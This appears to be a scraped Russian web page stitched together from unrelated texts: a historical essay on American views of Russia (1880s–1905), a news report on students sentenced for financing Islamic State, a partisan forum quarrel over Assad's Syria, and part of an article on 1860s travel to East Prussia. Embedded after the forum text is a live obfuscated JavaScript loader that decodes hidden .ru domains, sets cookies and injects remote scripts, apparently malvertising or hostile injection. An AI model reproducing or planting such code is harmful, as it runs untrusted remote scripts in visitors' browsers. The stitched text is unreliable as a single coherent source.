Литературный герой фантастического романа-бурлеска «Янки из Коннектикута при дворе короля Артура» (1889 г.), вышедшего из-под пера писателя-сатирика и одного из учредителей SAFRF Марка Твена, размышлял о необходимости просвещения и религиозной реформы для прогрессивного развития страны, о том, что «ни один народ не купил себе свободы приятными рассуждениями и моральными доводами, и все успешные революции начинались с насилия». В этом пассаже чувствуются прямые аналогии с ситуацией в России, а вывод янки свидетельствует о вере Твена в способность русского «темного люда» к представительному правлению: «Да, любой народ таит в себе достаточно сил, чтобы создать республику, даже такой угнетенный народ, как русский…; выведите его из состояния покоя, и он затопчет в грязь любой трон и любую знать. Мы еще увидим многое, будем же надеяться и верить».
В 1892 г. в США увидела свет еще одна литературная фантазия — роман-утопия «Золотая бутылка». Автор книги Игнатиус Доннели, общественный и политический деятель, участник фермерского движения «грейнджеров» и один из создателей Популистской партии, к тому времени получил известность благодаря романам «Атлантис», «Великая криптограмма», но прежде всего «Колонна Цезаря», в котором он рисовал картину крушения капиталистической цивилизации. Главный герой его нового произведения Эфрайн Бенезет, бедный фермер из Канзаса, получает в подарок от неведомого посланца бутылку с чудо-элексиром, способным превращать любое вещество в золото. В одночасье он становится богатым и решает осчастливить не только своих сограждан, проводя в жизнь требования популистов, но и весь мир. Последняя часть романа посвящена описанию «освободительной миссии» Америки. Став президентом от Популистской партии, Бенезет в своей инаугурационной речи рассуждает об особом предназначении США в распространении «теории революции 1776 г. … на всех континентах и островах», об обязанности американцев прокричать на весь мир: «Лучше умереть, сражаясь, чем жить рабами». Он создал армию, намереваясь нести Свет Свободы в порабощенную Европу, и вместе со своей женой возглавил «крестовый поход» против деспотизма. Войско Бенезета освободило ирландцев, немцев, народы Австрийской империи, испанцев и итальянцев, которые влились в Соединенную Республику Европы.
Однако решающее сражение многонациональной армии «крестоносцев» во главе с американскими генералами предстояло дать в России — бастионе фанатизма, невежества и несправедливости. «Армагеддон» — так названа эта глава, поскольку именно Российская империя стала полем решающей битвы между силами Добра и Зла, Света и Тьмы, Свободы и Деспотизма. Русская армия сражалась с отчаянием обреченного, и американцам было больно наблюдать за тем, как «темный и суеверный люд» героически умирал за Царя и Веру, защищая собственное рабство. На помощь Бенезету пришли нигилисты. Вопреки его возражениям они подготовили покушение на самодержца всероссийского, так как иного выхода в условиях отсутствия свободы слова и петиций, избирательного права и представительного правления, господства церкви и всевластия духовенства, удерживающего крестьянство в состоянии невежества, не существовало.
После цареубийства солдаты стали сдаваться на милость победителя, и воинству Бенезета удалось осуществить то, что не смогла сделать армия Наполеона. Установив мир, президент США обратился к русскому народу с прокламацией, возвестив начало эры просвещения в России, и поручил своим сподвижникам из числа «крестоносцев» не только обучить русских грамоте, но и преподать им уроки пользования свободой по-американски[12].
Эта смелая фантазия является прекрасной иллюстрацией бытовавших в американском обществе представлений об отсталости русских, сопрягавшихся с «новой мессианской идеей», с осознанием особой ответственности за проведение реформ в России как важной составляющей глобальной миссии Америки по демократизации мира.
Дополнительный импульс мессианские порывы американцев и их религиозный энтузиазм получили во время филантропического движения 1891—1892 гг., организованного для оказания помощи голодающим в России. Его вдохновитель У. Эдгар апеллировал к чувству национальной гордости своих сограждан, которые получали возможность стать участниками беспрецедентной в истории международных отношений гуманитарной акции и наглядно продемонстрировать, что они — не просто нация торгашей, а им присущи великодушие и альтруизм, что Соединенные Штаты — страна благоденствия и процветания, готовая накормить весь мир и отплатить добром за услугу, оказанную правительством и народом Российской империи в период Гражданской войны в США. Одним словом, Россия оказывалась получательницей благ Америки, готовой, как можно быстрее, протянуть руку помощи голодающим крестьянам, пока русские деревни не превратились в сплошной погост[13]. Параллельно организаторы филантропического движения не забывали указать фермерам и мельникам на экономическую выгоду от участия в кампании милосердия. Ведь посылая пароходы с мукой, они создавали прекрасную рекламу для своей продукции, что, в свою очередь, позволило бы расширить рынок ее сбыта. Это была реклама американского изобилия и установка на экономическое освоение «свободных рынков», в последующем годы тесно связанная с видением глобальной миссии США по распространению свободы во всем мире[14].
Поддержанию мессианских настроений в американском обществе на рубеже XIX—XX вв. способствовала идейная программа Третьего Великого пробуждения, нацеленная на вселенский крестовый поход по американизации мира. Именно тогда в Россию устремились первые миссионеры-протестанты. Для тех же, кто разочаровался в ортодоксальных воззрениях и не принимал ривайвелизм, заменой религии стал новый гуманизм, который ставил перед собой задачу возвышения всего человечества до уровня англосаксонской расы[15]. Журналист и редактор «Free Russia» Э. Нобль и сенатор У. Фульк, так же как до них журналист Дж. Бьюэл и священник методистской церкви Дж. Бакли, вдохновлялись идеей религиозной реформы и писали о необходимости приобщения русского народа к протестантскому рационализму с целью ускорить движение по пути прогресса. А Дж. Кеннан и Дж. Хоуи позиционировали свойственное для протестантов англосаксонского происхождения представление об авторитарных церквях как главном препятствии на пути от Средневековья к Современности[16].
Кульминация движения американцев за «дело русской свободы» пришлась на революцию 1905—1907 гг. На фоне этих событий американское общество переживало и первый своеобразный «цикл надежд и разочарований» по поводу обновления России. А русское общество, в свою очередь, впервые проходило своеобразный тест на способность совершить подлинную, с точки зрения американцев. И подобно французам в конце XVIII в. и в середине XIX в. с этим тестом не справилось, перейдя «предел допустимого» в революции[17].
Импульсом для всплеска новой «крестоносной» эйфории в США стала мощная кампания протеста в ответ на Кишиневский погром 1903 г. Именно тогда возродилось Общество американских друзей русской свободы, получившее поддержку со стороны лидеров американо-еврейской общины, и произошла настоящая «варваризации» образа официальной России. Подобно Османской империи она была исключена из «клуба» цивилизованных держав, лишена права на цивилизаторскую миссию на Дальнем Востоке.
В итоге центром модернизации в регионе стала Япония, позиционируемая как «янки Востока» и защитница американских интересов. Ее победы в войне с Россией желали, хотя и по разным причинам, как сторонники мировой политики, так и «либералы-крестоносцы». Первые — в силу экспансионистских амбиций, последние — по причине надежд на ослабление самодержавия, что, по их мнению, должно было ускорить модернизацию политического строя. Прояпонская позиция в США, безусловно, не была единственной, но стала преобладающей по крайней мере до конца Русско-японской войны.
В 1880—1890-е гг. дипломаты и политики в Вашингтоне стремились исключить идеологический фактор из двусторонних отношений, в целом развивавшихся в режиме сотрудничества. А вот в начале XX в., в период первого кризиса в двусторонних отношениях, когда потребовалось обосновать сближение США с Великобританией и Японией, когда «интернационалисты» начали воспринимать Россию в качестве основного препятствия для реализации американских интересов на Дальнем Востоке, а самим американцам пришлось пережить период расовых смут, социальной напряженности и нейтивистской истерии, демонический образ Российской империи, размещенной по другую сторону «цивилизационной баррикады», стал частью не только общественного, но и официального дискурса. В свою очередь, президент Т. Рузвельт, переболевавший в 1903—1905 гг. русофобией, казалось, был готов к дипломатическим действиям в духе «гуманитарной интервенции», заявив после Кишиневского погрома о намерении передать правительству Николая II петицию протеста против притеснений евреев.
В начале революции крестоносный дух витал над Америкой, а русские оказались в одном ряду с кубинцами в мессианских планах журналистов и публицистов, либералов-реформаторов и протестантских священников. Карикатуристы посредством использования коммуникативных стратегий «Свет vs. Тьма», «Цивилизация vs. Варварство», «Запад vs. Восток/Азия» способствовали визуализации романтического и демонического образов России, представлений о ней как о «темном двойнике» США. А также внесли важный вклад в закрепление мессианских настроений. Образ статуи Свободы, «освещающей Россию»; Солнце Свободы, неизменно встающее из-за океана над «Империей Тьмы», чтобы разогнать тучи «Невежества», «Угнетения», «Анархии», «Политических убийств» и даровать свет «Мира», «Процветания», «Просвещения» русскому народу; руки, полные американских долларов, протянутые через океан жертвам еврейских погромов — так мессианская идея отражалась в политической карикатуристике[18].
Появлялись и более сложные графические тексты, акцентирующие внимание на образе русского «Другого»: Дядя Сэм держит факел Свободы и Независимости над головой скованного цепями русского мужика, размышляющего над вопросом «Будет ли у него когда-нибудь такое феерическое 4 июля?»; Рузвельт, заваленный букетами и окруженный ликующим американским народом, празднует День Независимости под гром салюта и пение национального гимна, а рядом Николай II, заваленный бомбами и окруженный восставшим народом, с ужасом ждет своей гибели под гром японских пушек и проклятья революционеров, размахивающих красными флагами и кинжалами[19]. Модель Американской революции 1776 г. превращалась в референтную, а среди участников революционных событий в России журналисты и карикатуристы стремились найти «отцов-основателей», которыми становились то земцы, то С.Ю. Витте, то П.Н. Милюков.
Параллельно мессианская идея обретала новые очертания в связи с миротворческой деятельностью президента Рузвельта в период Русско-японской войны. Он представал в облике «крестоносца» мира, человека, способствующего гармонизации международных отношений, дающего шанс Николаю II не только завершить бесславную войну, но и пресечь сползание России в хаос социальной анархии и революционного мятежа[20].
Однако американцы симпатизировали революции до тех пор, пока она не произошла. Когда же она случилась и нарушила заранее известный сценарий, то стала вызывать беспокойство и разочарование своими «опасными тенденциями»: ростом социальной напряженности, восстаниями в армии и на флоте, забастовками и стачками, созданием Советов рабочих депутатов, не прекращающимися антиеврейскими погромами. После разгона Думы лишь наиболее вдумчивые наблюдатели продолжали подчеркивать конструктивную сторону происходивших событий. Однако в целом эйфория универсализма сменилась прогорклой русофобией, образом «Революции по-русски», негативизатицией представлений о национальном характере, сочувствием деятельности П.А. Столыпина, наводившего порядок в стране, впавшей в состояние анархии и хаоса, тем более что общество, казалось, было готово смириться с наступившей реакцией, а двери России оставались открытыми для деятельности протестантских миссионеров. Первый «цикл надежд и разочарований» американцев по поводу перспектив модернизации России завершился. Закончился и их первый масштабный «крестовый поход» за ее обновление, который способствовал формированию конфликтной идеологической составляющей в двусторонних отношениях, имевшей долгосрочный характер.
Для организаторов и участников движения Друзей русской свободы в США и других миссий в Россию погруженность в проблемы ее развития становилась возможностью подтвердить высокий идеализм американского общества, оставившего позади период эгоцентризма и переживавшего сложное время переоценки ценностей. Этим также объяснялось стремление сгустить краски и сфокусировать внимание на наиболее мрачных сторонах российской действительности, в особенности в период первого кризиса в двусторонних отношениях, когда шло целенаправленное разрушение образа России—исторического друга. Подобный подход не исключал критического отношения к происходящему в собственной стране. Более того, метафора «стеклянного дома» неизменно присутствовала в общественно-политических дебатах по вопросу о переустройстве России, а сам «крестовый поход» вписался в общее движение за реформы в США, придав миссионерский импульс американскому реформизму и способствуя выработке риторики «гуманитарной интервенции».
Однако сравнение двух стран позволяло понять, что какими бы социальными «болезнями роста» в то время не страдало американское общество, методы его излечения, по сравнению с российским, были нацелены не на разрушение фундаментальных основ принятого образа жизни, а на возвращение социума в состояние баланса, на время им утерянного. Такая позиция служила гарантией дальнейшего прогресса и подтверждала право США на выполнение миссии по распространению собственных идеалов во всем мире.
В конце XIX—начале XX вв. образ России стал объектом споров между радикалами, либералами и консерваторами, русофилами и русофобами. Либералы-прогрессисты, инициировавшие движения Друзей русской свободы, преодолевали свои сомнения в готовности русского народа к самоуправлению, подчеркивая, что национальный характер не является препятствием для достаточно быстрого обновления Российской империи по западному образцу, и демонизируя политический режим. Консерваторы, напротив, демонизировали русский национальный характер и видели в реализации Россией своего «особого пути» угрозу для американских интересов. Параллельно русофилы пытались понять и принять инаковость России, обращали внимание на отсталость русского крестьянства и систему патернализма, на реформаторские усилия царского правительства. Они вдохновлялись уникальной культурой русских и их особой духовностью, рассуждая об умеренности темпов обновления огромной страны. Причем те либералы и консерваторы, которые принимали участие в формировании русофильского дискурса, представляли разные грани американского русофильства. В восприятии России американцами критика деспотизма, архаичных политических форм, репрессивной системы, погромов, голода и массовой неграмотности уживалась с верой в великое будущее страны и ее пленительные возможности.
Безусловно, мечты об американизации России, ее романтический и демонический образы не оказывали существенного влияния на официальную политику правительства США. За исключением, пожалуй, первого кризиса 1903—1905 гг. и «временного охлаждения» в связи с денонсацией Русско-американского торгового договора 1832 г., на которую, как известно, администрация У. Тафта пошла крайне неохотно. Однако изменения, происходившие в восприятии России в период первого «крестового похода», и те коммуникативные стратегии, которые были использованы для конструирования ее образов в США на рубеже XIX—XX вв., заложили основы для традиции одномерного или «манихейского» (по принципу «белое—черное», «добро—зло», «тьма—свет») описания противоречивой российской реальности, дихотомического видения событий, происходивших по другую сторону Атлантики. А это способствовало формированию и поддержанию долгосрочных мифов о России.
Они препятствовали в прошлом и продолжают препятствовать в настоящем трезвому анализу происходящих в России процессов. И хотя в начале нынешнего столетия русский «Другой» уже не играет столь значимой роли в формировании американской идентичности как прежде, тем не менее сохраняется восприятие России как ученика CША и Запада вообще, как объекта особой миссии, уготованной Америке самим Творцом — сделать мир пригодным для демократии по-американски.
Примечания 1. Cohen S. American Journalism and Russia’s Tragedy // The Nation. 2000. October 2 ()
2. Коэн С. Провал крестового похода: США и трагедия посткоммунистической России. М., 2001.
3. Об этом см.: Foglesong D.S. The American Mission and the «Evil Empire». The Crusade for a «Free Russia» since 1881. Cambridge, 2007.
4. The New York Tribune. 1881. Jan. 21, 23, 24, 29; Feb. 2; The New York Times. 1881. May 11, 13; 1882. Feb. 1, 2, 16; 1883. May 19, Aug. 26; The New York Evening Post. 1882. Feb. 1; Philadelphia Chronicle. 1882. Feb. 19; The Commercial Advertiser. 1882. March 15; Harper’s Weekly. 1882. Feb. 11; Congressional Records. 47 Congress. 1-st Session. Vol. 13. Part 1. P. 645, 738; Part 2. P. 1240, 1258, 1326, 1367, 1628, 1647; Part 3. P. 2026, 2044, 2096, 2141; Part 7. Appendix. P. 651—658, P. 6691.
5. Free Russia. 1891. February. P. 9.
6. American Israelite. 1894. April 19.
7. [Weber J.B. ] Autobiography of John B. Weber. N.Y., Buffalo, 1924. P. 113—125.
8. См., напр., интервью с Л. Гартманом во время его поездки в США и текст воззвания «Народной воли» «К американскому народу»: Hartmann’s Revelations // The New York Herald. 1881. July 30.
9. What Was Said of It Six Years Ago // Free Russia. 1893. February. P. 5—6; Howells W.D. A New Fugitive Slave Law // Free Russia. 1893. June. N 11. P. 9; Free Russia. 1893. March. P. 3, 5, 9, 10; April. P. 15; July. P. 3; 1894. June/July. P. 2, 8.
10. Кеннан Дж . Сибирь и ссылка. Т. 2. СПб., 1999. С. 258; To Our Readers // Free Russia. 1894. June/July. P. 2.
11. См., напр., цветную карикатуру У. Роджерса «Американский медведь требует слишком многого»: Puck. 1893. April 12.
12. Donnelly I. The Golden Bottle or the Story of Ephrain Benezet of Kanzas. N.Y., St. Paul, 1892.
13. Northwestern Miller. 1891. Dec. 4, 11. Vol. 32. N 24—25. Передовицы. См. также: Noble E. Russia Looks to the United States for Help // Free Russia. 1892. January. N 6. P. 4—5.
14. Williams W.A. The Roots of the Modern American Empire: A Study of the Growth and Shaping of Social Consciousness in a Marketplace Society. N.Y., 1959. P. 293—294, 342—343.
15. Подробнее см.: Foglesong D.S. Conversion and Condemnation: Religious Influences on American Images of Late Tsarist, Soviet, and Post-Soviet Russia // Российско-американские отношения в прошлом и настоящем: образы, мифы, реальность. М., 2007. C. 256—272.
16. Buel J.W. Russian Nihilism and Exile Life in Siberia. Philadelphia, 1883. P. 444—446, 540; Buckley J.M. The Midnight Sun, the Tsar and the Nihilist: Adventures and Observations in Norway, Sweden and Russia. Boston, 1886. P. 309—318, 328—329; Noble E. Russia and Russians. Boston, 1900. P. 16, 159—178; Kennan G. A Voice for the People of Russia. A Reply to «A Voice for Russia» // Century. 1893. Vol. 46. July. P. 461—471; Foulke W.D. Slav or Saxon: A Study of the Growth and Tendencies of Russian Civilization. N.Y., London, 1899. P. 77, 116; Clifford D.P. Mine Eyes Have Seen the Glory: A Biography of Julia Ward Howe. Boston, 1979. P. 262—269.
17. Подробнее см.: Thompson A.W., Hart R.A. The Uncertain Crusade: America and the Russian Revolution of 1905. Amherst, 1970; Saul N. Concord and Conflict. The United States and Russia, 1867—1914. La wrence, 1996. P. 488—527.
18. The New York World. 1905. Feb. 25; The Chicago Daily Tribune. 1905. Jan.31, Nov. 1, 13; The Columbus Evening Dispatch. 1905. Nov. 1, 1905.
19. The Philadelphia Inquirer. 1905. July 4; The Chicago Daily Tribune. 1905. March 6.
20. The New York World. 1905. June 10, July 28, July 30; Aug. 19, 21, 25, 27, 28, 30; Harper’s Weekly. 1905. Vol. XLIX. June 24, July 29, Sept. 2; Washington Post. 1905. Aug. 30; Judge. 1905. July 8, 1905.
ИСТОЧНИК:
За перевод денег боевикам ИГ студентки получили почти 11 лет на двоих
Фото с сайта novosib.arbitr.ru
Московский окружной военный суд сегодня вынес приговор двум студенткам, которые перечислили на счета запрещенной в России организации "Исламское государство" выручку от продажи детских вещей и самодельных изделий, РИА Новости. Суд признал Елену Аршаханову и Саиду Халикову виновными по ст. 205 УК РФ (пособничество террористической деятельности).
Установлено, девушки занимались продажей детских вещей и самодельного мыла. Следствие выяснило, что вырученные ими средства были переведены на счета боевиков."Исламского государства" (деятельность организации признаны в РФ террористической и запрещена). Сбор средств был организован на одном из сайтов в интернете.
По организации "Открытой России", Халикова, в частности, перечислила 43 000 руб. Сама она утверждает, что не знала, куда отправляла деньги. По ее словам, средства были переведены по просьбе знакомой и на счет, который та ей дала.
Суд приговорил Елену Аршаханову к пяти годам и трем месяцам колонии общего режима, а Саиду Халикову – к пяти годам шести месяцам заключения.
----------------------------------------------------------
Если отправляете куда-то деньги, например, на благотворительность, обязательно сохраняйте себе страницу, откуда взяли счет и на какие цели деньги запрашивались.
Воланд пишет:
Mur))) зачем Вы мне приводитесь данные по Сирии с 2009 года, если я спрашиваю про события конца 70-х прошлого века?
а это разве не ваш вопрос?
Цитата
Воланд пишет:
1. Вы считаете, что в период с начала семидесятых XX века по, допустим, 2010 год сирийский народ (в том числе преимущественно сунниты) под руководством клана Асад жил плохо?
а разве 2006-2010 не входит в этот период? Что вы начали юлить.))
Продолжим...
Моделями сирийской политической механики были автократические режимы Восточной Европы, в особенности, Румыния эпохи Чаушеску. Аналогии видны в централизованном контроле лидера, терминологии культа личности, маргинальной роли партии, которой теоретически принадлежит власть, и доминирующей роли семьи лидера. Последнее в специфически сирийских условиях создавало впечатление жизни при монархии и привело к рождению термина репархия (джумлаха – от джумахирия – республика и мамлаха – монархия). Сам Асад признавался, что на него большее влияние оказал северокорейский Ким Чен Ир.
Хафез Асад. Никого ни напоминает?
Идентификация президента с государством олицетворяется вездесущим культом личности, окружающим его особу. Роль “лидера” (каид) подчеркивается многочисленными слоганами, с детства вбивавшимися в голову. В качестве примера можно привести утверждение о том, что страна – “Сирия Асада” (Сурия аль-Асад). Титулы лидера являются любопытной смесью сталинистской терминологии и мусульманского подхалимства: “Вождь Марта” (каид аль-масира), “Вечный Лидер” (аль-каид аль-абд), “Строитель Сирии” (бани сурия), “Надежда Нации” (амаль аль-умма), “Хафез Чести” ( хафез – защитник), “Борец” (мунадил).
Асад при жизни, и даже после смерти, описывался как почти сверхъестественное существо, обладающее бесконечной мудростью. Существо заслуживало того, чтобы ему подчинялись без излишних вопросов.
мавзолей Хафеза Асада.
Короче говоря сирийский Сталин.
Воланд скажите как жилось при Сталине народу? Я отвечу - им точно было не до экономических культурных показателей.
Цитата
Воланд пишет:
Вы правы, мне действительно не понять, "ЧТО движет искренне верующими людьми", которые за политическое кресло поубивали полстраны, а остальную превратили в беженцев.
А вот с этого места поподробнее пожалуйста. И о какой половине вы говорите? Напомню, что мусульман суннитов более 80%. Или вы утверждаете, что сами друг друга поубивали?! Это утверждение - явная ложь!!!
Воланд пишет:
Цитата
Кстати, вопрос: до того, как сунниты организовали вооружённый мятеж в Сирии в прошлом веке, им кто-нибудь в государственном (не бытовом) масштабе чинил препятствия в ритуальном соблюдении веры (внутреннюю составляющую, естественно, никто не в силах подавить)? Читайте вопрос внимательно, каждое слово подобрано тщательно. Какие? Кто? В каком масштабе? Достаточно ли этого было для массовых убийств?
Понимаете ли Воланд там где мусульмане составляют большую часть населения (более 80%) они хотят жить по своей религии. Религия Ислам охватывает все направления жизнедеятельности человека. В том числе и политическую составляющую.
Чтобы вы делали будучи христианином если к власти в России где большая часть населения христиане пришел мусульманин тем же путем что Асад старший и начал внедрять свои законы? При этом подавлять и уничтожать народ в большом количестве?
Опять проигнорируете мой вопрос?))
Цитата
Воланд пишет:
Как Вы считаете, человек, который посягает на государственную власть и пытается разрушить конституционный строй страны, должен нести за это ответственность? При этом прошу учитывать, что на тот момент Сирия была светским государством.
Цитата
mur пишет:
что будет если эта власть будет убивать без причины ваших родных и близких в том числе маленьких детей и даже еще не рожденных?! Причем делать это особо изощренным образом и вас на глазах. Что вы будете говорить и делать в этом случае?
Цитата
Воланд пишет:
Далее, у человека нельзя отнять Веру, если он действительно верующий. Запомните это раз и навсегда и не сочтите за высокомерие с моей стороны, что даю Вам совет. Просто мне показалось, что Вы не знаете, что вера неотъемлема, она внутри тебя, раньше подсознания и глубже разума. Слова ничего не значат. Если бы все верующие это знали, люди бы не умирили в бессмысленных войнах.
Не вам учить меня вере! Неверующий не может учить верующего!
Что касается Веры для мусульманина - это есть:
1. вера в сердце;
2. вера в его словах;
3. вера в его делах (действиях).
И одно без другого недостаточно.
У человека можно отнять все, в том числе его веру, только нужно знать как это сделать.
Имеет значение все! Если бы все люди стали верующими то возможно войн вообще не былобы. Но все что случается это по Предопределению Всевышнего!!!
Цитата
Воланд пишет:
Почему Вы считаете, что безбожник ничего не знает о Боге? Может я написал десятки трудов о религии и больше Вас знаю религиозные постулаты? Попрошу от Вас более весомый довод, чтобы доказать мою неправоту, если не трудно. Ответьте на вопрос, не касаясь моей личности так, словно не я его задал, а кто-то другой, верующий, например.
Воланд знания о Всевышнем одно из направлений исламских наук. Но даже самый слабый в знаниях мусульманин никогда не будет обвинять Всевышнего в чем либо! И умереть ради Бога это честь для верующего!
А вы говорите:
"Они готовы умирать ради Бога, который почему то позволяет им жить в нищете и страданиях, в то время как безбожники правят миром."
Так во все времена утверждали неверующие.
Что касается ваших трудов то можете их перечислить, чтобы мы познакомились поближе. Может откроем для себя что то новое.
Цитата
Воланд пишет:
И последнее, я не оправдываю Асада и его клан. Перечитайте все мои сообщения и найдите, где я испытываю к нему симпатию. Я осуждаю войну, которую начали и продолжают сунниты во имя своих сомнительных идеалов, ибо никто у них Веру не отнимал и отнять не может. Люди воюют за власть, за нефть, за доллар. Жаль, что Вы не можете это понять.
Значит согласны,что Асад и все кто ему помогает преступники! Насчет мусульман-суннитов и их идеалов несогласен. Если вы утверждаете что они начали войну значит у вас есть доказательства, можете их привести? И какие у вас доказательства, что они воюют за власть, за нефть, за доллар?
Воланд пишет:
Мусульмане сунниты хотели получить не место в мечети, а кресло в кабинете.
Вы были бы правы, если бы в Сирии ислам был независим от власти, которая мягко говоря относилась враждебно к суннитскому большинству. Вы русский? Вот один пример. Поставят президентом РФ татарина или адыга, карачаевца... не важно, в общем поставят мусульманина. А тот будет игнорировать православное большинство. Мыслите шире.window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="18908",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "elbrusoid.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
ВПЕЧАТЛЕНИЯ РОССИЯН ОТ ВОСТОЧНОЙ ПРУССИИ ПРИ ОТКРЫТИИ ГРАНИЦЫ В 1860-Х В 1862 году Петербург был соединён железной дорогой с прусским городом Эйдткунен. В этот же год был либерализирован выезд за границу. Тысячи россиян хлынули в Европу и оставили записки о пересечении прусской границы. Германия им представлялась «местом для жизни человека», а Россия, на контрасте – «местом неуютным и бесправным». Для большинства русских путешественников, выезжавших за пределы страны по железной дороге, знакомство с заграницей начиналось с Восточной Пруссии. Первые впечатления от увиденного из окна вагона курьерского поезда, зачастую оказывавшиеся самыми яркими и интересными, нашли отражение в многочисленных дневниках и воспоминаниях наших соотечественников, среди которых было немало государственных деятелей, дипломатов, учёных, писателей и революционеров.
В 1846 году началось строительство прусской Восточной железной дороги. Прокладка главного пути от Берлина до Кёнигсберга была завершена в 1853 году. Дорога от Берлина до Кёнигсберга занимала всего 13 часов. А дальше счет дороги по России шёл на дни и недели. Поэт Некрасов, возвращаясь из почти годового путешествия по Европе в июне 1857 года, написал И.Тургеневу, что ему повезло: «Ехал я из Кёнигсберга дней восемь — оттого не очень устал».
В 1857 году Россия заключила с Пруссией «Конвенцию о соединении Петербургско-Варшавской железной дороги с Берлинско-Кёнигсбергской». При этом оба правительства брали на себя обязательства проложить железнодорожный путь до точки соединения в Эйдткунене, а окончание строительства и начало движения, которое планировалось на 1860 год, должно было «последовать на обоих участках одновременно». Пруссия свои обязательства выполнила первой: сообщение между Кёнигсбергом и Эйдткуненом (совр. Чернышевское) открылось 4 июня 1860 года. Строительство российской ветки проходило медленнее: дорога от Ковно (Каунаса) до Вержболово (лит. Вирбалис, нем. Вирбаллен) была введена в эксплуатацию в апреле 1861 года. Но и после этого оставался недостроенным еще один самый трудный участок пути.
Наконец, с сооружением в 1862 году двух тоннелей под Вильно (430 м) и Ковно (1280 м) строительство железной дороги завершилось. Отныне из Петербурга можно было на курьерском поезде прямиком доехать до Парижа — этот маршрут писатель Н.Лесков окрестил «столбовой русской дорогой». Единственное неудобство состояло в необходимости пересаживаться на другой поезд, так как более широкая русская колея не соответствовала принятому в Европе стандарту. По этой надобности прусская колея была проложена до Вержболово, а русская доходила до вокзала в Эйдткунене, кроме того, между ними курсировал «передаточный пограничный поезд». Позднее русские вагоны стали переставляться на узкую немецкую колею прямо в Вержболово с заменой осей.
Историк В.Модестов в своих мемуарах описал, какое действие произвело на русское общество открытие весной 1862 года железной дороги до прусской границы: «Массы русских людей всякого рода и звания хлынули в Западную Европу. Ехали старые и молодые». Вслед за открытием дороги произошла либерализация выездного режима. Ещё в 1860 году Н.Добролюбов возмущался чудовищной волокитой с выдачей паспорта: «Свиньи, таскали меня целый месяц, насилу выпустили». Но затем, по свидетельству писателя П.Боборыкина, подданным царя вышло послабление: «За границу кинулись к 1860-м годам все, кто только мог. Рухнули николаевские порядки, когда паспорт стоил 500 рублей, да и с таким неслыханным побором вас могли — и очень! — не пустить. Теперь это сделалось банально».
Вслед за А.Герценом, который ещё в 1847 году сравнил пересечение границы Восточной Пруссии со сменой декорации в театре, разительные перемены за окном вагона отмечали почти все русские путешественники. М.Салтыков-Щедрин в цикле путевых очерков «За рубежом» о поездке 1880 года заметил, что вплоть до Вержболово «никому из нас не приходило в голову выглядывать в окна и любопытствовать, какой из них открывается пейзаж». «В Эйдткунене, — пишет автор, — картина изменилась, как бы волшебством. Все тотчас же бросились к окнам и начали смотреть». Ф.Шаляпин, отправившись первый раз за границу в 1897 году, писал с дороги: «Проехав границу, смеялся и почти плакал. Переменилось всё сразу — и культура, и природа».
Типичные впечатления об увиденном в Восточной Пруссии тех русских путешественников, которые жадно приникали к окнам вагонов, удалось в полной мере отразить географу и публицисту Н.Яковлевой в очерке «По Пруссии»:
«С переменой русских вагонов на немецкие в Эйдткунене переменяется и характер путешествия: поезд тотчас пошёл гораздо скорее, и чем дальше, тем всё усиливал стремительность своего бега. Смотря направо и налево, я замечаю, что немцы недаром пользуются репутацией солидных людей: всё у них массивно, капитально, на крепком фундаменте, всё рассчитано если не на вечность, то по крайней мере на прочную долговечность. Станции большие и маленькие — все до одной каменные, с цинковыми крышами, с металлическими колпаками над трубами; в садиках дубовые скамьи, вокруг — чугунные решётки. Мы едем точно садом: все размерено, рассчитано и отлично возделано. Пашня как будто просеяна сквозь решето; фруктовые деревья с подпорками; везде протянуты на полях проволоки; в лесах, похожих на парки, проведены дорожки, поставлены скамейки.
Дома, расположенные небольшими группами, отделены один от другого живою изгородью, под тенью какого-нибудь столетнего дуба или клёна, который передается из рода в род как фамильная драгоценность. Дома попадаются часто двухэтажные, в три-четыре окна, не больше, но все непременно крыты черепицей, все непременно в цветах и с большими кисейными занавесками над крошечным балкончиком, похожим на скворечник. В постройках преобладает красный цвет: красные черепичные крыши, красные кирпичные стены. Это оживляет пейзаж: домики как будто цветут среди густой зелени садов.
